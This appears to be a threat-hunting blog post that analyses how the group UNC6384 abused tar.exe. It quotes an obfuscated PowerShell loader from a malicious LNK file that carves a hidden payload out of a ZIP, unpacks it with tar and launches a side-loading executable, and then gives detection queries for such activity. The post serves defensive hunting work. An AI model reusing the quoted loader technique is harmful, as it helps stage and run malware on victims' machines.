307. Hunting for Tar Abuse

Hello everyone!

Malware installation process often involves unpacking archived data. And today we'll look at how advararies abuse tar, and how to use it for threat hunting.

Let's look at UNC6384. The adversary leveraged a malicious LNK file, which contained the following command:

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -c " ;; ;$uojsbmkvp = (get-childitem -Pa $Env:USERPROFILE -Re -Inc *'Agenda_Meeting 26 Sep Brussels'.zip).fullname; ;;$ophcrygyu=[System.IO.File]::ReadAllBytes($uojsbmkvp);$xkasluyk=721; ;$lrbnaoxkomoi=[char]87+'r'+[char]105+'te'+[char]65+'l'+[char]108+'b'+[char]121+'tes'; ;echo $xkasluyk; ; ;echo $xkasluyk;;[System.IO.File]::$lrbnaoxkomoi($Env:temp+'\\rjnlzlkfe.ta', $ophcrygyu[$xkasluyk..($xkasluyk+1204224-1)]); ;;;echo $xkasluyk;;;;echo $xkasluyk;; TaR -xvf $Env:TEMP\rjnlzlkfe.ta -C $Env:Temp; Start-Process $Env:temp\cnmpaui.exe;"

The script does the following:

  • Searches for a specific ZIP file named Agenda_Meeting 26 Sep Brussels.zip
  • Reads its raw bytes
  • Extracts a hidden section of data embedded inside that ZIP (starting at byte 721)
  • Writes that hidden section to a temporary file (rjnlzlkfe.ta)
  • Unpacks it using tar
  • Runs the resulting executable (cnmpaui.exe - а legitimate file used for side-loading)
Let's focus on tar:

tar.exe -xvf C:\Users\<USER>\AppData\Local\Temp\rjnlzlkfe.ta -C C:\Users\<USER>\AppData\Local\Temp

For example, we can hunt for PowerShell spawning tar:

event_type: "processcreatewin"

AND

proc_p_file_path: "powershell.exe"

AND

proc_file_path: "tar.exe"

Also, we can hunt for using tar for unpacking an archive into a temporary folder:

event_type: "processcreatewin"

AND

proc_file_path: "tar.exe"

AND

cmdline: ("xvf" AND "temp")

See you tomorrow!

Comments

Popular posts from this blog

033. Free Google Threat Intelligence Course

082. Huniting for Malicious Browser Extensions

001. The Zeltser Challenge